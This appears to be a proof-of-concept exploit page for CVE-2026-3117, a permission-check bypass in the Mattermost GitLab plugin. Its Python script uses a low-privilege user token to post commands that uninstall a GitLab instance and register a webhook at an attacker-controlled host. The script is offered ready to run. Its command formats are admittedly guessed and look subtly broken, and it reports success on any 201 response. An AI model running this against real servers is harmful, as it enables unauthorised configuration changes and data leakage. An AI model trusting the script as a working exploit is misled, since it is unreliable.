CVE-2026-3117 Mattermost GitLab插件权限越界漏洞

# Proof of Concept for CVE-2026-3117 # Description: Exploit permission check bypass in Mattermost GitLab Plugin # Impact: Allows low-privilege users to uninstall instances or setup webhooks. import requests # Target Mattermost instance URL TARGET_URL = "https://mattermost.example.com" API_TOKEN = "USER_TOKEN_HERE" # Token for a low-privilege user CHANNEL_ID = "CHANNEL_ID_HERE" headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } # Payload to uninstall an instance (Command format based on advisory) # The specific option depends on the instance ID, usually 'delete' or 'uninstall' payload_uninstall = { "channel_id": CHANNEL_ID, "message": "{{gitlab instance delete}}" # Example command to trigger uninstall } # Payload to setup a webhook payload_webhook = { "channel_id": CHANNEL_ID, "message": "{{/gitlab webhook http://attacker-controlled.com}}" # Example command } def send_message(payload): response = requests.post(f"{TARGET_URL}/api/v4/posts", headers=headers, json=payload) if response.status_code == 201: print("[+] Command executed successfully.") print(f"[+] Response: {response.json()}") else: print(f"[-] Failed to send command. Status: {response.status_code}") print(f"[-] Error: {response.text}") if __name__ == "__main__": print("Attempting to trigger uninstall command...") send_message(payload_uninstall) print("\nAttempting to trigger webhook setup command...") send_message(payload_webhook)